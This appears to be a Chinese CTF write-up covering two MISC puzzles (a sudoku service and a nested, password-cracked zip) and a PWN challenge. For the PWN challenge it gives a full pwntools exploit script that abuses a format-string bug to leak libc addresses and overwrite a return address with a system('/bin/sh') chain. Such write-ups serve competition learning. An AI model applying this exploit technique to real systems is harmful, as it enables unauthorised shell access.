一.MISC
1.sudoku_easy
一道简单的数独题,nc连接起让你输入,提示输入1开始数独,2退出,3帮助
输入1进入数独游戏,如果获得分数达到120可获得shell,拿到flag
通过它的提示输入值越少,数独越简单,获得的分数越少
输入值越大,数独越难,获得分数越高
通过分析后,发现输入值很大时,数独就会全为0,然后随意输入一个数独进去后可拿到120的分数
获取shell,flag就出来了
2.烦人的压缩包
一个加密的压缩包,通过ARCHPR爆破出密码,密码为645321
解压出来后发现hint.txt没用,分析下love.jpg 16进制编辑打开存在一个压缩包
在kali中用binwalk把它dump出来,虽然没密码,但CRC报错无法解压出flag.txt
修复压缩包的CRC,然后解压flag.txt,发现是ook!加密
通过:Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org] 在线解密ook获得flag
二.PWN
1.harde_pwn
64位的,relro全开,无法修改got表,拖入ida看,程序流程很简单,fuxk_game()函数存在随机值,但有4字节的溢出
可修改seed的低4字节为1可达到随机值固定及可绕过
进入heap_fmt()函数,是个无限循环,存在格式化字符串漏洞
通过格式化字符串漏洞先泄露出程序地址和libc地址,然后用格式化字符串漏洞修改栈地址的值为pop_rdi,sh,system,最后修改printf的返回地址及getshell
exp:
from pwn import *
from LibcSearcher import *
from pwnlib import *
import base64
#context.arch="amd64"
#sh=remote("139.155.132.59",9999)
sh=process("./harde_pwn")
elf=ELF("./harde_pwn")
#libc=ELF("libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
inter=lambda :sh.interactive()
def add(k,lenth,data):
un("option: ")
sl("b")
un("bye: ")
sl(k)
un(": ")
sl(lenth)
un(": ")
sl(data)
def fun(data):
un("data ;)\n")
sd(data)
un("game!\n")
sd("a"*0x1c+p32(1))
#pwnlib.gdb.attach(sh)
num = [1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248]
for i in num:
un("input: \n")
sl(str(i))
un("data ;)\n")
#pwnlib.gdb.attach(sh)
sd("%6$p%9$p%11$p")
stack=int(rv(14),16)+24
d=stack&0xffff
cxjz=int(rv(14),16)-0x1543
jz=int(rv(14),16)-libc.sym['__libc_start_main']-240
print hex(jz)
print hex(stack)
shell=jz+libc.sym['system']
bin_sh=jz+libc.search("/bin/sh").next()
a1=(bin_sh&0xffff00000000)/0x100000000
a2=(bin_sh&0xffff0000)/0x10000
a3=bin_sh&0xffff
a=(shell&0xffff0000)/0x10000
b=shell&0xffff
print hex(a)
print hex(b)
print hex(shell)
print hex(a1)
print hex(a2)
print hex(a3)
print hex(bin_sh)
k=0x15B3#15AE
fun("%"+str(d)+"c%6$hn")
fun("%"+str(b)+"c%8$hn")
fun("%"+str(d+2)+"c%6$hn")
fun("%"+str(a)+"c%8$hn")
#pwnlib.gdb.attach(sh)
stack1=stack-0x10
d=stack1&0xffff
fun("%"+str(d)+"c%6$hn")
fun("%"+str(k)+"c%8$hn")
stack1=stack-0x8
d=stack1&0xffff
fun("%"+str(d)+"c%6$hn")
fun("%"+str(a3)+"c%8$hn")
fun("%"+str(d+2)+"c%6$hn")
fun("%"+str(a2)+"c%8$hn")
fun("%"+str(d+4)+"c%6$hn")
fun("%"+str(a1)+"c%8$hn")
stack1=stack-0x30
d=stack1&0xffff
print hex(d)
fun("%"+str(d)+"c%6$hn")
fun("%"+str(0x15ae)+"c%8$hn\x00")
inter()